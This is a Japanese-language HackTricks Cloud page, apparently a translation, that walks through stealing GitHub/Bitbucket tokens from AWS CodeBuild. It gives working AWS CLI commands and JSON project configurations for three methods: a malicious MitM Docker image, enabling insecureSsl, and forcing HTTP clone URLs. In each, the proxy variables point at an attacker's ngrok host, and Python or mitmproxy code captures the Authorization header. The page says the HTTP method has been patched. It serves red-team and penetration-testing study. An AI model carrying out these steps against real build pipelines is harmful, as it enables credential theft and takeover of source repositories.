AWS Codebuild - Token Leakage
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Github/Bitbucketに設定されたトークンの回収
まず、漏洩できるソース認証情報が設定されているか確認してください:
aws codebuild list-source-credentials
Via Docker Image
アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに特定のdockerイメージを使用させてプロジェクトのビルドを実行させることで、そのアクセス(GHトークンまたはOAuthトークン)を抽出することができます。
この目的のために、新しいCodebuildプロジェクトを作成するか、既存のプロジェクトの環境を変更してDockerイメージを設定することができます。
使用できるDockerイメージはhttps://github.com/carlospolop/docker-mitmです。これは非常に基本的なDockerイメージで、env変数https_proxy
、http_proxy
、および**SSL_CERT_FILE
を設定します。これにより、https_proxy
およびhttp_proxy
で指定されたホストのほとんどのトラフィックを傍受し、SSL_CERT_FILE
**で指定されたSSL CERTを信頼することができます。
- 自分のDocker MitMイメージを作成してアップロード
- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定してdockerイメージをビルドします。
- メタデータエンドポイントへのリクエストを傍受しないように**
http_proxy
を設定しないでください**。 - **
ngrok
**を使用してプロキシをホストに設定することができます(例:ngrok tcp 4444
)。 - Dockerイメージがビルドされたら、パブリックリポジトリにアップロードします(Dockerhub、ECR...)。
- 環境を設定
- 新しいCodebuildプロジェクトを作成するか、既存のプロジェクトの環境を変更します。
- プロジェクトを以前に生成したDockerイメージを使用するように設定します。
.png)
- ホストにMitMプロキシを設定
- Githubリポジトリに示されているように、次のようなものを使用できます:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
使用されたmitmproxyのバージョンは9.0.1であり、バージョン10ではこれが機能しない可能性があると報告されています。
- ビルドを実行し、資格情報をキャプチャする
- Authorizationヘッダーにトークンが表示されます:
.png)
これは、aws cliを使用して次のように行うこともできます。
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild プロジェクトには、ウェブ上では隠されている insecureSsl
という設定があり、APIからのみ変更できます。
これを有効にすると、Codebuildはプラットフォームが提供する証明書を 確認せずに リポジトリに接続できるようになります。
- まず、次のようなもので現在の設定を列挙する必要があります:
aws codebuild batch-get-projects --name <proj-name>
- その後、収集した情報を使用してプロジェクト設定の
insecureSsl
をTrue
に更新できます。以下は私がプロジェクトを更新した例で、最後にinsecureSsl=True
があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。 - さらに、tcp ngrokを指す環境変数 http_proxy と https_proxy も追加してください。
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- 次に、プロキシ変数(http_proxyおよびhttps_proxy)で指摘されたポートで、https://github.com/synchronizing/mitmから基本的な例を実行します。
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 最後に、Build the projectをクリックすると、credentialsがクリアテキスト(base64)でmitmポートに送信されます:
 (1).png)
HTTPプロトコル経由
[!TIP] > この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)
CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます。または、OAuth経由で権限が設定されている場合、コードにアクセスするために使用される一時的なOAuthトークンです。
- 攻撃者は、CodeBuildプロジェクトにhttp_proxyとhttps_proxyの環境変数を追加し、自分のマシンを指すことができます(例えば
http://5.tcp.eu.ngrok.io:14972
)。
.png)
.png)
- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば:
http://github.com/carlospolop-forks/TestActions
- その後、プロキシ変数(http_proxyとhttps_proxy)によって指示されたポートでhttps://github.com/synchronizing/mitmから基本的な例を実行します。
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 次に、プロジェクトをビルドをクリックするか、コマンドラインからビルドを開始します:
aws codebuild start-build --project-name <proj-name>
- 最後に、資格情報は平文(base64)でmitmポートに送信されます:
.png)
warning
これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用)できるようになります。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。